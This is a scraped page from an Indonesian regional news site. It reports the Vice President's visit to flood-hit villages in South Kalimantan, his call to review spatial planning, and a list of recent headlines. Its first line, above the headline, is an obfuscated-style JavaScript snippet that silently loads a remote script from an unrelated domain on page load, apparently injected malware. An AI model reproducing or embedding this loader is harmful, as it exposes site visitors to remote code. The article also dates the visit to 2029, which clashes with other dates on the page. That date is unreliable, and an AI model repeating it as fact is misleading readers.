(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang


KANALKALIMANTAN.COM, MARTAPURA – Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan Selatan (Kalsel) memberikan instruksi tegas dan terbuka kepada Gubernur Kalsel.

Di hadapan warga dan mahasiswa yang berkeluh kesah soal banjir, Wapres Gibran meminta Gubernur Kalsel untuk tidak menunda penyelesaian masalah.

Momen tersebut menjadi puncak dari kunjungan kerja Gibran pada Kamis (8/1/2029) sore di Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar. Dimana ia melihat langsung rumah-rumah warga yang telah terendam banjir selama lebih dari sepekan.

Baca juga: Bupati Kapuas ke Kemendes PDT Perkuat Pembangunan dan Pemberdayaan Desa

Setelah mendengar keluhan dan aspirasi langsung dari masyarakat, Gibran menoleh ke arah Wakil Gubernur Kalsel Hasnuryadi yang mendampingi penijauan dan memberikan perintah yang jelas.

“Tolong ini aspirasi mahasiswa dan warga bisa diselesaikan ya,” kata Gibran.

Gibran tampak menyoroti serius masalah banjir tahunan yang seolah menjadi langganan bagi Provinsi Kalsel setiap kali musim penghujan tiba.

Wapres Gibran menekankan bahwa penanganan bencana yang terus berulang ini tidak bisa lagi dilakukan dengan cara-cara biasa dan membutuhkan komitmen serius dari seluruh jajaran pemerintah daerah.

Baca juga: Wapres Gibran Tinjau Sekolah Terdampak Banjir Bandang di Balangan

Mantan Wali Kota Solo ini tidak hanya meminta penyelesaian di hilir, tetapi juga mendorong investigasi ke akar masalahnya. Gibran mencurigai adanya persoalan fundamental terkait tata ruang wilayah yang menjadi pemicu utama bencana ekologis ini, di luar faktor curah hujan tinggi.

“Pak gubernur dan wakil gubernur tolong koordinasi intens dengan bupati, apakah memang ada kesalahan tata ruang di daerah banjir ini,” katanya.

Gibran berjanji akan turut mengawal dan berkoordinasi dengan pemerintah daerah untuk menelaah kembali Rencana Tata Ruang Wilayah (RTRW).

Hal ini dilakukan untuk memastikan apakah ada pembangunan yang melanggar aturan dan berkontribusi pada semakin parahnya dampak banjir dari tahun ke tahun. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Risa

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

10 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

12 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

13 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

14 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

15 jam ago

Bupati Kapuas ke Kemendes PDT Perkuat Pembangunan dan Pemberdayaan Desa

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas, H Muhammad Wiyatno menyatakan komitmen pemerintah daerah terus mendorong… Read More

19 jam ago

This website uses cookies.